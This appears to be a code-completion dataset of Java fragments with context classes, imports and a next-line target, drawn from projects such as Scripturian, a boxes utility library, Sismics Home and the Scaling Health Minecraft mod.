)\n\t{\n\t\tsuper( documentName, lineNumber, columnNumber, cause );\n\t\tthis.adapter = adapter;\n\t}\n\n\tpublic LanguageAdapterException( Class<? extends LanguageAdapter> adapter, String documentName, String message, Throwable cause )\n\t{\n\t\tsuper( documentName, message, cause );\n\t\tthis.adapter = adapter;\n\t}\n\n\tpublic LanguageAdapterException( Class<? extends LanguageAdapter> adapter, String documentName, String message )\n\t{\n\t\tsuper( documentName, message );\n\t\tthis.adapter = adapter;\n\t}\n\n\tpublic LanguageAdapterException( Class<? extends LanguageAdapter> adapter, String message, Throwable cause )\n\t{\n\t\tsuper( message, cause );\n\t\tthis.adapter = adapter;\n\t}\n\n\tpublic LanguageAdapterException( Class<? extends LanguageAdapter> adapter, Throwable cause )\n\t{\n\t\tsuper( cause );\n\t\tthis.adapter = adapter;\n\t}\n\n\tpublic LanguageAdapterException( Class<? extends LanguageAdapter> adapter, String message )\n\t{\n\t\tsuper( message );\n\t\tthis.adapter = adapter;\n\t}\n\n\t//\n\t// Attributes\n\t//\n\n\t/**\n\t * The adapter adapter class.\n\t * \n\t * @return The adapter adapter class\n\t */\n\tpublic Class<? extends LanguageAdapter> getLanguage()\n\t{\n\t\treturn adapter;\n\t}\n\n\t// //////////////////////////////////////////////////////////////////////////\n\t// Private\n\n\tprivate static final long serialVersionUID = 1L;\n\n\t/**\n\t * The language adapter class.\n\t */\n\tprivate final Class<? extends LanguageAdapter> adapter;\n}", "public class ParsingException extends Exception\n{\n\t//\n\t// Static operations\n\t//\n\n\tpublic static ParsingException adapterNotFound( String documentName, int lineNumber, int columnNumber, String languageTag )\n\t{\n\t\treturn new ParsingException( documentName, lineNumber, columnNumber, \"Adapter not available for language: \" + languageTag );\n\t}\n\n\t//\n\t// Construction\n\t//\n\n\tpublic ParsingException( String documentName, int lineNumber, int columnNumber, String message )\n\t{\n\t\tsuper( message );\n\t\tstack.add( new StackFrame( documentName, lineNumber, columnNumber ) );\n\t}\n\n\tpublic ParsingException( String documentName, int lineNumber, int columnNumber, String message, Throwable cause )\n\t{\n\t\tsuper( message != null ? message : cause.getClass().getCanonicalName(), cause );\n\t\tstack.add( new StackFrame( documentName, lineNumber, columnNumber ) );\n\t}\n\n\tpublic ParsingException( String documentName, int lineNumber, int columnNumber, Throwable cause )\n\t{\n\t\tsuper( cause );\n\t\tstack.add( new StackFrame( documentName, lineNumber, columnNumber ) );\n\t}\n\n\tpublic ParsingException( String documentName, String message, Throwable cause )\n\t{\n\t\tsuper( message != null ? message : cause.getClass().getCanonicalName(), cause );\n\t\tstack.add( new StackFrame( documentName ) );\n\t}\n\n\tpublic ParsingException( String documentName, String message )\n\t{\n\t\tsuper( message );\n\t\tstack.add( new StackFrame( documentName ) );\n\t}\n\n\tpublic ParsingException( String message, Throwable cause )\n\t{\n\t\tsuper( message != null ? message : cause.getClass().getCanonicalName(), cause );\n\t}\n\n\tpublic ParsingException( String message )\n\t{\n\t\tsuper( message );\n\t}\n\n\tpublic ParsingException( Throwable cause )\n\t{\n\t\tsuper( cause );\n\t}\n\n\t//\n\t// Attributes\n\t//\n\n\t/**\n\t * The associated executable.\n\t * \n\t * @return The associated executable\n\t * @see #setExectable(Executable)\n\t */\n\tpublic Executable getExecutable()\n\t{\n\t\treturn executable;\n\t}\n\n\t/**\n\t * @param executable\n\t * The executable\n\t * @see #getExecutable()\n\t */\n\tpublic void setExectable( Executable executable )\n\t{\n\t\tthis.executable = executable;\n\t}\n\n\t/**\n\t * The call stack.\n\t * \n\t * @return The call stack\n\t */\n\tpublic List<StackFrame> getStack()\n\t{\n\t\treturn stack;\n\t}\n\n\t// //////////////////////////////////////////////////////////////////////////\n\t// Private\n\n\tprivate static final long serialVersionUID = 1L;\n\n\t/**\n\t * The associated executable.\n\t */\n\tprivate Executable executable;\n\n\t/**\n\t * The call stack.\n\t */\n\tprivate final ArrayList<StackFrame> stack = new ArrayList<StackFrame>();\n}" ]
import java.util.Arrays; import org.pegdown.PegDownProcessor; import com.threecrickets.scripturian.Executable; import com.threecrickets.scripturian.LanguageAdapter; import com.threecrickets.scripturian.Program; import com.threecrickets.scripturian.exception.LanguageAdapterException; import com.threecrickets.scripturian.exception.ParsingException;
/** * Copyright 2009-2017 Three Crickets LLC. * <p> * The contents of this file are subject to the terms of the LGPL version 3.0: * http://www.gnu.org/copyleft/lesser.html * <p> * Alternatively, you can obtain a royalty free commercial license with less * limitations, transferable or non-transferable, directly from Three Crickets * at http://threecrickets.com/ */ package com.threecrickets.scripturian.adapter; /** * A {@link LanguageAdapter} that supports the <a * href="http://daringfireball.net/projects/markdown/">Markdown</a> HTML markup * language as implemented by <a * href="https://github.com/sirthias/pegdown">pegdown</a>. * * @author Tal Liron */ public class PegdownAdapter extends LanguageAdapterBase { // // Construction // /** * Constructor. * * @throws LanguageAdapterException * In case of an initialization error */
public PegdownAdapter() throws LanguageAdapterException
3
alexmojaki/boxes
src/main/java/alex/mojaki/boxes/BoxFamily.java
[ "public interface ChangeMiddleware<T> {\n\n /**\n * Return the given {@code currentValue} or some transformation of it.\n * Called during {@link PowerBox#set(Object)} for zero or more of these objects before applying the list of\n * {@link ChangeObserver}s.\n *\n * @param box the {@code PowerBox} whose value is being {@code set}.\n * @param originalValue the value the box contained before it was set.\n * @param currentValue for the first middleware in the sequence, this is the same as {@code requestedValue}.\n * For subsequent middleware, this is the return value of the previous middleware.\n * @param requestedValue the parameter of {@link PowerBox#set(Object)}.\n * @return the final value to be stored in the box and the parameter {@code finalValue} in the\n * {@link ChangeObserver#onChange(PowerBox, Object, Object, Object)} method for any {@code ChangeObserver}s this\n * box has.\n */\n T onChange(PowerBox<T> box, T originalValue, T currentValue, T requestedValue);\n}", "public interface GetMiddleware<T> {\n\n /**\n * Return the given {@code currentValue} or some transformation of it.\n * Called during {@link PowerBox#get()} for zero or more of these objects before applying the list of\n * {@link GetObserver}s.\n *\n * @param box the {@code PowerBox} whose value is being obtained by {@code get}.\n * @param originalValue the value the box contained before any middleware was applied.\n * @param currentValue for the first middleware in the sequence, this is the same as {@code originalValue}.\n * For subsequent middleware, this is the return value of the previous middleware.\n * @return the final value to be returned to the user and the parameter {@code finalValue} in the\n * {@link GetObserver#onGet(PowerBox, Object, Object)} method for any {@code GetObserver}s this\n * box has.\n */\n T onGet(PowerBox<T> box, T originalValue, T currentValue);\n}", "public interface ChangeObserver<T> {\n\n /**\n * Take some action based on the values involved in the change.\n * Called when the value of a {@code PowerBox} changes for zero or more of these objects.\n *\n * @param box the {@code PowerBox} whose value changed.\n * @param originalValue the value the box contained before the change.\n * @param finalValue the new value the box will have. In the case of {@link PowerBox#set(Object)},\n * this is the final result of applying all {@link ChangeMiddleware}.\n * @param requestedValue the parameter of {@link PowerBox#set(Object)}, or just the same as {@code originalValue}\n * in the case of a mutation to a {@code WrapperBox}.\n */\n void onChange(PowerBox<T> box, T originalValue, T finalValue, T requestedValue);\n}", "public class ThrowOnNull implements ChangeObserver {\n\n public static final ThrowOnNull I = new ThrowOnNull();\n public static final ThrowOnNull INSTANCE = I;\n\n private ThrowOnNull() {\n }\n\n @Override\n public void onChange(PowerBox box, Object originalValue, Object finalValue, Object requestedValue) {\n if (finalValue == null) {\n throw new IllegalArgumentException(\"Cannot set \" + box.getFamily().description() + \" to null.\");\n }\n }\n\n}", "public interface GetObserver<T> {\n\n /**\n * Take some action based on the values involved in the get.\n * Called during {@link PowerBox#get()} for zero or more of these objects\n *\n * @param box the {@code PowerBox} whose value is being obtained.\n * @param originalValue the value the box contained before the change.\n * @param finalValue the new value the box will have.\n * This is the final result of applying all {@link GetMiddleware}.\n */\n void onGet(PowerBox<T> box, T originalValue, T finalValue);\n}", "public abstract class InstanceStore<T> {\n\n private final ConcurrentMap<List<Object>, T> map = new ConcurrentHashMap<List<Object>, T>();\n\n /**\n * Override this method to return a new instance of the class of interest using the given arguments. This usually\n * means calling a constructor.\n */\n public abstract T getNew(Object... args);\n\n /**\n * Get an instance using the given arguments. If the arguments are new then a new instance\n * will be returned via {@link InstanceStore#getNew(Object...)}. Otherwise a cached instance will be returned.\n */\n public T get(Object... args) {\n List<Object> key = Arrays.asList(args);\n T result = map.get(key);\n if (result != null) {\n return result;\n }\n synchronized (map) {\n result = map.get(key);\n if (result == null) {\n result = getNew(args);\n map.put(key, result);\n }\n return result;\n }\n }\n\n}" ]
import alex.mojaki.boxes.middleware.change.ChangeMiddleware; import alex.mojaki.boxes.middleware.get.GetMiddleware; import alex.mojaki.boxes.observers.change.ChangeObserver; import alex.mojaki.boxes.observers.change.ThrowOnNull; import alex.mojaki.boxes.observers.get.GetObserver; import alex.mojaki.boxes.utils.InstanceStore; import com.google.common.collect.ForwardingIterator; import com.google.common.collect.ForwardingList; import com.google.common.collect.ForwardingListIterator; import java.util.*; import java.util.concurrent.CopyOnWriteArrayList;
package alex.mojaki.boxes; /** * This class holds metadata for a group of {@code PowerBox}es, including middleware and observers. * Boxes which return the same value from {@link PowerBox#getFamily()} are said to belong to the * same family and share all this metadata. * <p> * Here is an example of declaring a box and its family: * <p> * <pre>{@code * class MyClass { * public static final BoxFamily myFieldFamily = BoxFamily.getInstance(MyClass.class, "myField"); * PowerBox<Integer> myField = box(myFieldFamily); * } * }</pre> * <p> * This is equivalent to: * <p> * <pre>{@code * PowerBox<Integer> myField = box(MyClass.class, "myField"); * }</pre> * <p> * which is more concise but less efficient as the family has to be looked up. */ public class BoxFamily { private static final InstanceStore<BoxFamily> INSTANCE_STORE = new InstanceStore<BoxFamily>() { @Override public BoxFamily getNew(Object... args) { return new BoxFamily((Class<?>) args[0], (String) args[1]); } }; private final String name; private final Class<?> clazz; private ParticipantList<ChangeMiddleware> changeMiddlewares = new ParticipantList<ChangeMiddleware>(); private ParticipantList<ChangeObserver> changeObservers = new ParticipantList<ChangeObserver>();
private ParticipantList<GetMiddleware> getMiddlewares = new ParticipantList<GetMiddleware>();
1
sismics/home
home-web-common/src/main/java/com/sismics/util/filter/RequestContextFilter.java
[ "public class AppContext {\n /**\n * Singleton instance.\n */\n private static AppContext instance;\n\n /**\n * Event bus.\n */\n private EventBus eventBus;\n \n /**\n * Generic asynchronous event bus.\n */\n private EventBus asyncEventBus;\n\n /**\n * Sensor service.\n */\n private SensorService sensorService;\n \n /**\n * Asynchronous executors.\n */\n private List<ExecutorService> asyncExecutorList;\n \n /**\n * Private constructor.\n */\n private AppContext() {\n resetEventBus();\n \n sensorService = new SensorService();\n sensorService.startAsync();\n }\n \n /**\n * (Re)-initializes the event buses.\n */\n private void resetEventBus() {\n eventBus = new EventBus();\n eventBus.register(new DeadEventListener());\n \n asyncExecutorList = new ArrayList<ExecutorService>();\n \n asyncEventBus = newAsyncEventBus();\n }\n\n /**\n * Returns a single instance of the application context.\n * \n * @return Application context\n */\n public static AppContext getInstance() {\n if (instance == null) {\n instance = new AppContext();\n }\n return instance;\n }\n \n /**\n * Creates a new asynchronous event bus.\n * \n * @return Async event bus\n */\n private EventBus newAsyncEventBus() {\n if (EnvironmentUtil.isUnitTest()) {\n return new EventBus();\n } else {\n ThreadPoolExecutor executor = new ThreadPoolExecutor(1, 1,\n 0L, TimeUnit.MILLISECONDS,\n new LinkedBlockingQueue<Runnable>());\n asyncExecutorList.add(executor);\n return new AsyncEventBus(executor);\n }\n }\n\n /**\n * Getter of eventBus.\n *\n * @return eventBus\n */\n public EventBus getEventBus() {\n return eventBus;\n }\n\n /**\n * Getter of asyncEventBus.\n *\n * @return asyncEventBus\n */\n public EventBus getAsyncEventBus() {\n return asyncEventBus;\n }\n\n /**\n * Getter of sensorService.\n *\n * @return the sensorService\n */\n public SensorService getSensorService() {\n return sensorService;\n }\n}", "public class DirectoryUtil {\n /**\n * Returns the base data directory.\n * \n * @return Base data directory\n */\n public static File getBaseDataDirectory() {\n File baseDataDir = null;\n // TODO inject a variable from context.xml or similar (#41)\n if (StringUtils.isNotBlank(EnvironmentUtil.getHomeHome())) {\n // If the home.home property is set then use it\n baseDataDir = new File(EnvironmentUtil.getHomeHome());\n } else if (EnvironmentUtil.isUnitTest()) {\n // For unit testing, use a temporary directory\n baseDataDir = new File(System.getProperty(\"java.io.tmpdir\"));\n } else {\n // We are in a webapp environment and nothing is specified, use the default directory for this OS\n if (EnvironmentUtil.isUnix()) {\n baseDataDir = new File(\"/var/sismicshome\");\n } if (EnvironmentUtil.isWindows()) {\n baseDataDir = new File(EnvironmentUtil.getWindowsAppData() + \"\\\\Sismics\\\\Home\");\n } else if (EnvironmentUtil.isMacOs()) {\n baseDataDir = new File(EnvironmentUtil.getMacOsUserHome() + \"/Library/Sismics/Home\");\n }\n }\n\n if (baseDataDir != null && !baseDataDir.isDirectory()) {\n baseDataDir.mkdirs();\n }\n\n return baseDataDir;\n }\n \n /**\n * Returns the database directory.\n * \n * @return Database directory.\n */\n public static File getDbDirectory() {\n return getDataSubDirectory(\"db\");\n }\n\n /**\n * Returns the log directory.\n * \n * @return Log directory.\n */\n public static File getLogDirectory() {\n return getDataSubDirectory(\"log\");\n }\n\n /**\n * Returns a subdirectory of the base data directory\n * \n * @return Subdirectory\n */\n private static File getDataSubDirectory(String subdirectory) {\n File baseDataDir = getBaseDataDirectory();\n File dataSubDirectory = new File(baseDataDir.getPath() + File.separator + subdirectory);\n if (!dataSubDirectory.isDirectory()) {\n dataSubDirectory.mkdirs();\n }\n return dataSubDirectory;\n }\n}", "public class TransactionUtil {\n /**\n * Logger.\n */\n private static final Logger log = LoggerFactory.getLogger(TransactionUtil.class);\n\n /**\n * Encapsulate a process into a transactional context.\n * \n * @param runnable Runnable\n */\n public static void handle(Runnable runnable) {\n Handle handle = ThreadLocalContext.get().getHandle();\n \n if (handle != null && handle.isInTransaction()) {\n // We are already in a transactional context, nothing to do\n runnable.run();\n return;\n }\n\n try {\n handle = DBIF.get().open();\n } catch (Exception e) {\n log.error(\"Cannot create DBI\", e);\n }\n ThreadLocalContext context = ThreadLocalContext.get();\n context.setHandle(handle);\n handle.begin();\n \n try {\n runnable.run();\n } catch (Exception e) {\n ThreadLocalContext.cleanup();\n \n log.error(\"An exception occured, rolling back current transaction\", e);\n\n // If an unprocessed error comes up, rollback the transaction\n if (handle.isInTransaction()) {\n handle.rollback();\n\n try {\n handle.close();\n } catch (Exception ce) {\n log.error(\"Error closing DBI handle\", ce);\n }\n }\n return;\n }\n \n ThreadLocalContext.cleanup();\n\n // No error in the current request : commit the transaction\n if (handle.isInTransaction()) {\n if (handle.isInTransaction()) {\n handle.commit();\n \n try {\n handle.close();\n } catch (Exception e) {\n log.error(\"Error closing DBI handle\", e);\n }\n }\n }\n }\n \n /**\n * Commits the current transaction, and begins a new one.\n */\n public static void commit() {\n Handle handle = ThreadLocalContext.get().getHandle();\n handle.commit();\n handle.begin();\n }\n}", "public class EnvironmentUtil {\n\n private static String OS = System.getProperty(\"os.name\").toLowerCase();\n \n private static String APPLICATION_MODE = System.getProperty(\"application.mode\");\n\n private static String WINDOWS_APPDATA = System.getenv(\"APPDATA\");\n\n private static String MAC_OS_USER_HOME = System.getProperty(\"user.home\");\n \n private static String HOME_HOME = System.getProperty(\"home.home\");\n\n /**\n * In a web application context.\n */\n private static boolean webappContext;\n \n /**\n * Returns true if running under Microsoft Windows.\n * \n * @return Running under Microsoft Windows\n */\n public static boolean isWindows() {\n return OS.indexOf(\"win\") >= 0;\n }\n\n /**\n * Returns true if running under Mac OS.\n * \n * @return Running under Mac OS\n */\n public static boolean isMacOs() {\n return OS.indexOf(\"mac\") >= 0;\n }\n\n /**\n * Returns true if running under UNIX.\n * \n * @return Running under UNIX\n */\n public static boolean isUnix() {\n return OS.indexOf(\"nix\") >= 0 || OS.indexOf(\"nux\") >= 0 || OS.indexOf(\"aix\") > 0;\n }\n \n /**\n * Returns true if we are in a unit testing environment.\n * \n * @return Unit testing environment\n */\n public static boolean isUnitTest() {\n return !webappContext || isDevMode();\n }\n\n /**\n * Return true if we are in dev mode.\n *\n * @return Dev mode\n */\n public static boolean isDevMode() {\n return \"dev\".equalsIgnoreCase(APPLICATION_MODE);\n }\n\n /**\n * Returns the MS Windows AppData directory of this user.\n * \n * @return AppData directory\n */\n public static String getWindowsAppData() {\n return WINDOWS_APPDATA;\n }\n\n /**\n * Returns the Mac OS home directory of this user.\n * \n * @return Home directory\n */\n public static String getMacOsUserHome() {\n return MAC_OS_USER_HOME;\n }\n\n /**\n * Returns the home directory of Home (e.g. /var/home).\n * \n * @return Home directory\n */\n public static String getHomeHome() {\n return HOME_HOME;\n }\n\n /**\n * Getter of webappContext.\n *\n * @return webappContext\n */\n public static boolean isWebappContext() {\n return webappContext;\n }\n\n /**\n * Setter of webappContext.\n *\n * @param webappContext webappContext\n */\n public static void setWebappContext(boolean webappContext) {\n EnvironmentUtil.webappContext = webappContext;\n }\n}", "public class ThreadLocalContext {\n /**\n * ThreadLocal to store the context.\n */\n public static final ThreadLocal<ThreadLocalContext> threadLocalContext = new ThreadLocal<ThreadLocalContext>();\n \n /**\n * JDBI handle.\n */\n private Handle handle;\n \n /**\n * Private constructor.\n */\n private ThreadLocalContext() {\n // NOP\n }\n \n /**\n * Returns an instance of this thread context.\n * \n * @return Thread local context\n */\n public static ThreadLocalContext get() {\n ThreadLocalContext context = threadLocalContext.get();\n if (context == null) {\n context = new ThreadLocalContext();\n threadLocalContext.set(context);\n }\n return context;\n }\n\n /**\n * Cleans up the instance of this thread context.\n */\n public static void cleanup() {\n threadLocalContext.set(null);\n }\n \n /**\n * Getter of handle.\n *\n * @return handle\n */\n public Handle getHandle() {\n return handle;\n }\n\n /**\n * Setter of handle.\n *\n * @param handle handle\n */\n public void setHandle(Handle handle) {\n this.handle = handle;\n }\n}", "public class DBIF {\n private static final Logger log = LoggerFactory.getLogger(DBIF.class);\n\n private static ComboPooledDataSource cpds;\n\n private static DBI dbi;\n\n static {\n if (dbi == null) {\n createDbi();\n }\n }\n\n public static void createDbi() {\n try {\n cpds = new ComboPooledDataSource(); // TODO use getDbProperties()\n dbi = new DBI(cpds);\n dbi.registerMapper(new AuthenticationTokenMapper());\n dbi.registerMapper(new BaseFunctionMapper());\n dbi.registerMapper(new ConfigMapper());\n dbi.registerMapper(new RoleBaseFunctionMapper());\n dbi.registerMapper(new RoleMapper());\n dbi.registerMapper(new UserMapper());\n dbi.registerMapper(new SensorMapper());\n dbi.registerMapper(new SensorSampleMapper());\n dbi.registerMapper(new CameraMapper());\n } catch (Throwable t) {\n log.error(\"Error creating DBI\", t);\n }\n\n Handle handle = null;\n try {\n handle = dbi.open();\n DbOpenHelper openHelper = new DbOpenHelper(handle) {\n\n @Override\n public void onCreate() throws Exception {\n executeAllScript(0);\n }\n\n @Override\n public void onUpgrade(int oldVersion, int newVersion) throws Exception {\n for (int version = oldVersion + 1; version <= newVersion; version++) {\n executeAllScript(version);\n }\n }\n };\n openHelper.open();\n } catch (Exception e) {\n if (handle != null && handle.isInTransaction()) {\n handle.rollback();\n handle.close();\n }\n }\n\n }\n\n private static Map<Object, Object> getDbProperties() {\n // Use properties file if exists\n try {\n URL dbPropertiesUrl = DBIF.class.getResource(\"/c3p0.properties\");\n if (dbPropertiesUrl != null) {\n log.info(\"Configuring connection pool from c3p0.properties\");\n\n InputStream is = dbPropertiesUrl.openStream();\n Properties properties = new Properties();\n properties.load(is);\n return properties;\n }\n } catch (IOException e) {\n log.error(\"Error reading c3p0.properties\", e);\n }\n\n // Use environment parameters\n log.info(\"Configuring EntityManager from environment parameters\");\n Map<Object, Object> props = new HashMap<Object, Object>();\n props.put(\"c3p0.driverClass\", \"org.h2.Driver\");\n File dbDirectory = DirectoryUtil.getDbDirectory();\n String dbFile = dbDirectory.getAbsoluteFile() + File.separator + \"home\";\n props.put(\"c3p0.jdbcUrl\", \"jdbc:h2:file:\" + dbFile + \";WRITE_DELAY=false;shutdown=true\");\n props.put(\"c3p0.user\", \"sa\");\n return props;\n }\n\n /**\n * Private constructor.\n */\n private DBIF() {\n }\n\n /**\n * Returns an instance of DBIF.\n *\n * @return Instance of DBIF\n */\n public static DBI get() {\n return dbi;\n }\n\n public static void reset() {\n if (cpds != null) {\n dbi.open().createStatement(\"DROP ALL OBJECTS\").execute();\n cpds.close();\n cpds = null;\n dbi = null;\n createDbi();\n }\n }\n}" ]
import java.io.File; import java.io.IOException; import java.text.MessageFormat; import javax.servlet.Filter; import javax.servlet.FilterChain; import javax.servlet.FilterConfig; import javax.servlet.ServletException; import javax.servlet.ServletRequest; import javax.servlet.ServletResponse; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import org.apache.log4j.Level; import org.apache.log4j.PatternLayout; import org.apache.log4j.RollingFileAppender; import org.skife.jdbi.v2.Handle; import org.skife.jdbi.v2.TransactionIsolationLevel; import org.slf4j.Logger; import org.slf4j.LoggerFactory; import com.sismics.home.core.model.context.AppContext; import com.sismics.home.core.util.DirectoryUtil; import com.sismics.home.core.util.TransactionUtil; import com.sismics.util.EnvironmentUtil; import com.sismics.util.context.ThreadLocalContext; import com.sismics.util.dbi.DBIF;
package com.sismics.util.filter; /** * Filter used to process a couple things in the request context. * * @author jtremeaux */ public class RequestContextFilter implements Filter { /** * Logger. */ private static final Logger log = LoggerFactory.getLogger(RequestContextFilter.class); @Override public void init(FilterConfig filterConfig) throws ServletException { // Initialize the app directory if (!filterConfig.getServletContext().getServerInfo().startsWith("Grizzly")) { EnvironmentUtil.setWebappContext(true); } File baseDataDirectory = null; try { baseDataDirectory = DirectoryUtil.getBaseDataDirectory(); } catch (Exception e) { log.error("Error initializing base data directory", e); } if (log.isInfoEnabled()) { log.info(MessageFormat.format("Using base data directory: {0}", baseDataDirectory.toString())); } // Initialize file logger RollingFileAppender fileAppender = new RollingFileAppender(); fileAppender.setName("FILE"); fileAppender.setFile(DirectoryUtil.getLogDirectory() + File.separator + "home.log"); fileAppender.setLayout(new PatternLayout("%d{DATE} %p %l %m %n")); fileAppender.setThreshold(Level.INFO); fileAppender.setAppend(true); fileAppender.setMaxFileSize("5MB"); fileAppender.setMaxBackupIndex(5); fileAppender.activateOptions(); org.apache.log4j.Logger.getRootLogger().addAppender(fileAppender); // Initialize the application context
TransactionUtil.handle(new Runnable() {
2
SilentChaos512/ScalingHealth
src/main/java/net/silentchaos512/scalinghealth/config/Config.java
[ "@Mod(ScalingHealth.MOD_ID)\npublic class ScalingHealth {\n public static final String MOD_ID = \"scalinghealth\";\n public static final String MOD_NAME = \"Scaling Health\";\n public static final String VERSION = \"2.5.3\";\n\n public static final Random random = new Random();\n\n public static final ItemGroup SH = new ItemGroup(MOD_ID) {\n @Override\n public ItemStack createIcon() {\n return new ItemStack(ModItems.HEART_CRYSTAL.asItem());\n }\n };\n\n public static final Logger LOGGER = LogManager.getLogger(MOD_NAME);\n\n public ScalingHealth() {\n Config.init();\n Network.init();\n ModLoot.init();\n\n FMLJavaModLoadingContext.get().getModEventBus().addListener(this::commonSetup);\n FMLJavaModLoadingContext.get().getModEventBus().addGenericListener(GlobalLootModifierSerializer.class, this::registerLootModSerializers);\n\n MinecraftForge.EVENT_BUS.addListener(this::serverAboutToStart);\n MinecraftForge.EVENT_BUS.register(PetEventHandler.INSTANCE);\n MinecraftForge.EVENT_BUS.register(DamageScaling.INSTANCE);\n }\n\n private void registerLootModSerializers(RegistryEvent.Register<GlobalLootModifierSerializer<?>> event) {\n event.getRegistry().register(new TableGlobalModifier.Serializer().setRegistryName(getId(\"table_loot_mod\")));\n }\n\n private void commonSetup(FMLCommonSetupEvent event) {\n DifficultyAffectedCapability.register();\n DifficultySourceCapability.register();\n PlayerDataCapability.register();\n PetHealthCapability.register();\n DeferredWorkQueue.runLater(SHWorldFeatures::addFeaturesToBiomes);\n }\n\n private void serverAboutToStart(FMLServerAboutToStartEvent event) {\n ModCommands.registerAll(event.getServer().getCommandManager().getDispatcher());\n }\n\n @Mod.EventBusSubscriber(modid = MOD_ID, value = Dist.CLIENT, bus = Mod.EventBusSubscriber.Bus.MOD)\n public static class ClientForge {\n static {\n MinecraftForge.EVENT_BUS.register(HeartDisplayHandler.INSTANCE);\n MinecraftForge.EVENT_BUS.register(DifficultyMeter.INSTANCE);\n\n DebugOverlay.init();\n }\n\n @SubscribeEvent\n public static void clientSetup(FMLClientSetupEvent event) {\n KeyManager.registerBindings();\n }\n }\n\n public static String getVersion() {\n return getVersion(false);\n }\n\n public static String getVersion(boolean correctInDev) {\n Optional<? extends ModContainer> o = ModList.get().getModContainerById(MOD_ID);\n if (o.isPresent()) {\n String str = o.get().getModInfo().getVersion().toString();\n if (correctInDev && \"NONE\".equals(str))\n return VERSION;\n return str;\n }\n return \"0.0.0\";\n }\n\n public static ResourceLocation getId(String path) {\n return new ResourceLocation(MOD_ID, path);\n }\n}", "public enum DifficultyMeterShow {\n ALWAYS,\n SOMETIMES,\n KEYPRESS,\n NEVER\n}", "public enum AbsorptionIconStyle {\n SHIELD,\n GOLD_OUTLINE,\n VANILLA\n}", "public enum HealthTextColor {\n TRANSITION,\n SOLID,\n PSYCHEDELIC\n}", "public enum HealthTextStyle {\n DISABLED(1f) {\n @Override\n public String textFor(float current, float max) {\n return \"\";\n }\n },\n ROWS(0.65f) {\n @Override\n public String textFor(float current, float max) {\n return (int) Math.ceil(current / 20) + \"x\";\n }\n },\n HEALTH_AND_MAX(0.5f) {\n @Override\n public String textFor(float current, float max) {\n if (max == 0) return HEALTH_ONLY.textFor(current, max);\n return Math.round(current) + \"/\" + Math.round(max);\n }\n },\n HEALTH_ONLY(0.5f) {\n @Override\n public String textFor(float current, float max) {\n return String.valueOf(Math.round(current));\n }\n };\n\n private final float scale;\n\n HealthTextStyle(float scale) {\n this.scale = scale;\n }\n\n public abstract String textFor(float current, float max);\n\n public double getScale() {\n return scale * Config.CLIENT.healthTextScale.get();\n }\n}", "public enum HeartIconStyle {\n REPLACE_ALL,\n REPLACE_AFTER_FIRST_ROW,\n VANILLA\n}" ]
import java.nio.file.Path; import java.util.EnumSet; import java.util.function.Supplier; import net.minecraftforge.fml.loading.FMLPaths; import net.silentchaos512.scalinghealth.ScalingHealth; import net.silentchaos512.scalinghealth.client.gui.difficulty.DifficultyMeterShow; import net.silentchaos512.scalinghealth.client.gui.health.AbsorptionIconStyle; import net.silentchaos512.scalinghealth.client.gui.health.HealthTextColor; import net.silentchaos512.scalinghealth.client.gui.health.HealthTextStyle; import net.silentchaos512.scalinghealth.client.gui.health.HeartIconStyle; import net.silentchaos512.utils.Anchor; import net.silentchaos512.utils.Color; import net.silentchaos512.utils.config.*; import java.io.File;
/* * Scaling Health * Copyright (C) 2018 SilentChaos512 * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation version 3 * of the License. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public License * along with this program. If not, see <http://www.gnu.org/licenses/>. */ package net.silentchaos512.scalinghealth.config; public final class Config { // config/scaling-health private static final Path SH_CONFIG_DIR = resolve(FMLPaths.CONFIGDIR.get(), "scaling-health"); private static final ConfigSpecWrapper WRAPPER_GAME = ConfigSpecWrapper.create(resolve(SH_CONFIG_DIR, "game_settings.toml")); private static final ConfigSpecWrapper WRAPPER_CLIENT = ConfigSpecWrapper.create(resolve(SH_CONFIG_DIR, "client.toml")); private static final ConfigSpecWrapper WRAPPER_COMMON = ConfigSpecWrapper.create(resolve(SH_CONFIG_DIR, "common.toml")); public static final Client CLIENT = new Client(WRAPPER_CLIENT); public static final Common COMMON = new Common(WRAPPER_COMMON); public static final GameConfig GENERAL = new GameConfig(WRAPPER_GAME); public static class Client { // Debug public final EnumValue<Anchor> debugOverlayAnchor; public final DoubleValue debugOverlayTextScale; // Health Icons public final EnumValue<HeartIconStyle> heartIconStyle; public final ColorList heartColors; public final BooleanValue lastHeartOutline; public final IntValue lastHeartOutlineColor; public final BooleanValue heartColorLooping; // Heart Tanks public final BooleanValue heartTanks; // Health Text public final EnumValue<HealthTextStyle> healthTextStyle; public final DoubleValue healthTextScale; public final IntValue healthTextOffsetX; public final IntValue healthTextOffsetY; public final EnumValue<HealthTextColor> healthTextColorStyle; public final IntValue healthTextFullColor; public final IntValue healthTextEmptyColor; // Absorption Icons public final EnumValue<AbsorptionIconStyle> absorptionIconStyle; public final ColorList absorptionHeartColors; // Absorption Text public final EnumValue<HealthTextStyle> absorptionTextStyle; public final IntValue absorptionTextOffsetX; public final IntValue absorptionTextOffsetY; public final IntValue absorptionTextColor; // Difficulty public final BooleanValue warnWhenSleeping; // Difficulty Meter
public final EnumValue<DifficultyMeterShow> difficultyMeterShow;
1
palominolabs/benchpress
worker-core/src/test/java/com/palominolabs/benchpress/worker/WorkerAdvertiserTest.java
